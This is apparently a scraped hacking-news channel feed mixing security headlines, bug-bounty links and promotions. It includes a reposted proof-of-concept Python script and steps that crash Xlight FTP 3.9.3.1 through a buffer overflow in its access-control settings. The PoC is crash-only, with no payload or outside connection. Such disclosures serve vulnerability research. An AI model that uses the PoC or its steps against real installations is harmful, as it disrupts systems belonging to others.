Exploit Collector
Aerohive NetConfig 10.0r8a Local File Inclusion / Remote Code Execution

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Xlight FTP 3.9.3.1 Buffer Overflow

https://4.bp.blogspot.com/-hp3wB9AXd0k/WWlvDY5V44I/AAAAAAAAIKs/ScSIhWVAvDAhjeMkIwqbNby9r3gKQvOEgCLcBGAs/s1600/h128.png
Xlight FTP version 3.9.3.1 suffers from a buffer overflow vulnerability.

MD5 | 7b4e185e225c2f5d9619211162511738

Download
# Exploit Title: Xlight FTP 3.9.3.1 - 'Buffer Overflow' (PoC)
# Discovered by: Yehia Elghaly
# Discovered Date: 2021-11-12
# Vendor Homepage: https://www.xlightftpd.com/
# Software Link: https://www.xlightftpd.com/download/setup.exe
# Tested Version: 3.9.3.1
# Vulnerability Type: Buffer Overflow Local
# Tested on OS: Windows XP SP3 - Windows 7 Professional x86 SP1 - Windows 10 x64

# Description: Xlight FTP 3.9.3.1 'Access Control List' Buffer Overflow (PoC)

# Steps to reproduce:
# 1. - Download and Xlight FTP
# 2. - Run the python script and it will create exploit.txt file.
# 3. - Open Xlight FTP 3.9.3.1
# 4. - "File and Directory - Access Control List - Setup - Added users list directories
# 5. - Go to Specify file or directory name applied or Specify username applied to or Specify groupname applied
# 6. - Go to Setup -> added -> Enter new Item - Paste the characters
# 7 - Crashed

#!/usr/bin/python

exploit = 'A' * 550

try:
file = open("exploit.txt","w")
file.write(exploit)
file.close()

print("POC is created")
except:
print("POC not created")


Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

HTML smuggling surges: Highly evasive loader technique increasingly used in banking malware, targeted attacks - Microsoft Security Blog
https://www.reddit.com/r/redteamsec/comments/qsl7sk/html_smuggling_surges_highly_evasive_loader/

submitted by /u/dmchell (https://www.reddit.com/user/dmchell)
[link] (https://www.microsoft.com/security/blog/2021/11/11/html-smuggling-surges-highly-evasive-loader-technique-increasingly-used-in-banking-malware-targeted-attacks/) [comments] (https://www.reddit.com/r/redteamsec/comments/qsl7sk/html_smuggling_surges_highly_evasive_loader/)

___________________________
@hacking_Attack
@Hacking_Video

KitPloit - PenTest Tools!
Ad-Honeypot-Autodeploy - Deploy A Small, Intentionally Insecure, Vulnerable Windows Domain For RDP Honeypot Fully Automatically

___________________________
@hacking_Attack
@Hacking_Video

Never leave this tip while you hunting Broken Access Control
https://secureitmania.medium.com/never-leave-this-tip-while-you-hunting-broken-access-control-f63c00b1e96a?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

A special Bug-Bounty tip for Bug hunters and Pen-testersContinue reading on Medium » (https://secureitmania.medium.com/never-leave-this-tip-while-you-hunting-broken-access-control-f63c00b1e96a?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
Follow the Leaders: A Blueprint for Software Security Success

Organizations can study software security leaders and emulate their habits and initiatives in order to build a successful software security program of their own.

Dark Reading: Attacks/Breaches
Open Source Project Aims to Detect Living-Off-the-Land Attacks

The machine learning classifier from Adobe can determine whether system commands are malicious and classify them using a variety of tags useful for security analysts.

Hacking on Medium
Never leave this tip while you hunting Broken Access Control

https://cdn-images-1.medium.com/max/653/1*tv5XcnDXdK9D4hUKZw_wyg.png
A special Bug-Bounty tip for Bug hunters and Pen-testers

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Navegando por el panorama de las amenazas 2021: del ransomware a las redes de bots

https://cdn-images-1.medium.com/max/1394/0*4po12ncua5CYrGfw
PUBLICADO EN 12 NOVIEMBRE, 2021POR EHACKING

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

⏰ It’s $AMPT O’Clock : Let the Bug-Hunting Begin!
https://blog.ampt.finance/its-ampt-o-clock-let-the-bug-hunting-begin-545e845c7ea8?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

🤑👉 OVER 70K USD OF AMPT TOKENS ARE UP FOR GRABS!! EVERYONE WHO PARTICIPATES WINS SOME REWARDS!!Continue reading on Amplify Protocol » (https://blog.ampt.finance/its-ampt-o-clock-let-the-bug-hunting-begin-545e845c7ea8?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

Best Crowd-Sourced Device Testing Platform-Qantily

Qantily is a product of Nexgen IoT Solutions. Nexgen was established in 2014, in Texas(US). It has come a long way since then with a…Continue reading on Chatbots Life »
Read more...

___________________________
@hacking_Attack
@Hacking_Video

The Rewards — Bounty for Bug(error findings)

7 addresses for first roundContinue reading on Medium »
Read more...

Installing Linux in Windows (EASY PIZY)

TL;DRContinue reading on Medium »
Read more...